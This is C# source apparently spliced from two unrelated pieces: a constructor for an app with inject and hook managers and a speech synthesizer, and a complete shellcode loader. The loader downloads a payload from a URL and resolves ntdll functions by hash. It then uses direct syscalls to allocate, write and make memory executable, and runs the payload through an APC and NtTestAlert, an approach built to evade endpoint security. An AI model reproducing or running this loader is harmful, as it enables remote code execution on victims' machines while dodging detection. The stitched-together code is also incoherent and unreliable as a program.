public Main(EntryPoint entryPoint)
{
this._injectManager = new InjectManager(entryPoint.ChannelName);
this._hookManager = new HookManager(entryPoint);
this._mirrorSite = new BloodCatClient();
this._progressTimer.Elapsed += (sender, args) =>
{
_progressTimer.Stop();
_canSpeak = true;
};
_synth = new SpeechSynthesizer()
{
Volume = 100
};
_synth.SelectVoiceByHints(VoiceGender.Male, VoiceAge.Adult, 0, new CultureInfo("en-us"));
}
static void Main(string[] args)
{
if (args.Length < 1)
{
printHelp();
return;
}
string url = args[0];
IntPtr hmodule = IntPtr.Zero;
hm = new HookManager();
DInvoke.Data.Native.UNICODE_STRING bb = new DInvoke.Data.Native.UNICODE_STRING();
DInvoke.DynamicInvoke.Native.RtlInitUnicodeString(ref bb, @"c:\windows\system32\ntdll.dll");
DInvoke.DynamicInvoke.Native.LdrLoadDll(IntPtr.Zero, 0, ref bb, ref hmodule);
List <DInvoke.DynamicInvoke.EAT> eat = DInvoke.DynamicInvoke.Generic.GetExportAddressEx(hmodule);
var dict = DInvoke.DynamicInvoke.EAT.ConvertToDict(eat);
byte[] sc = new System.Net.WebClient().DownloadData(url);
IntPtr baseAddr = IntPtr.Zero;
var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, new IntPtr((long)sc.Length));
var id = dict[DInvoke.DynamicInvoke.EAT.GetSha256Hash("NtAllocateVirtualMemory")];
object[] allocate = { (IntPtr)(-1), baseAddr, IntPtr.Zero, lpValue,
(uint)(DInvoke.Data.Win32.Kernel32.MemoryAllocationFlags.Reserve | DInvoke.Data.Win32.Kernel32.MemoryAllocationFlags.Commit),
(uint)DInvoke.Data.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
baseAddr = (IntPtr)Syscalls.executeSyscall(id, "NtAllocateVirtualMemory", allocate)[1];
IntPtr buffer = Marshal.AllocHGlobal(sc.Length);
Marshal.Copy(sc, 0, buffer, sc.Length);
uint bytesWritten = 0;
object[] write = { (IntPtr)(-1), baseAddr, buffer, (uint)sc.Length, bytesWritten };
id = dict[DInvoke.DynamicInvoke.EAT.GetSha256Hash("NtWriteVirtualMemory")];
Syscalls.executeSyscall(id, "NtWriteVirtualMemory", write);
uint oldProtect = 0;
object[] protection = { (IntPtr)(-1), baseAddr, lpValue, (uint)DInvoke.Data.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
id = dict[DInvoke.DynamicInvoke.EAT.GetSha256Hash("NtProtectVirtualMemory")];
baseAddr = (IntPtr)Syscalls.executeSyscall(id, "NtProtectVirtualMemory", protection)[1];
object[] apc = { GetCurrentThread(), baseAddr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero };
id = dict[DInvoke.DynamicInvoke.EAT.GetSha256Hash("NtQueueApcThread")];
Syscalls.executeSyscall(id, "NtQueueApcThread", apc);
// hm.Install(); I just wanted to hook GetProcAddress, but this is not usefull for the shellcode injection.
object[] alert = {};
id = dict[DInvoke.DynamicInvoke.EAT.GetSha256Hash("NtTestAlert")];
Syscalls.executeSyscall(id, "NtTestAlert", alert);
}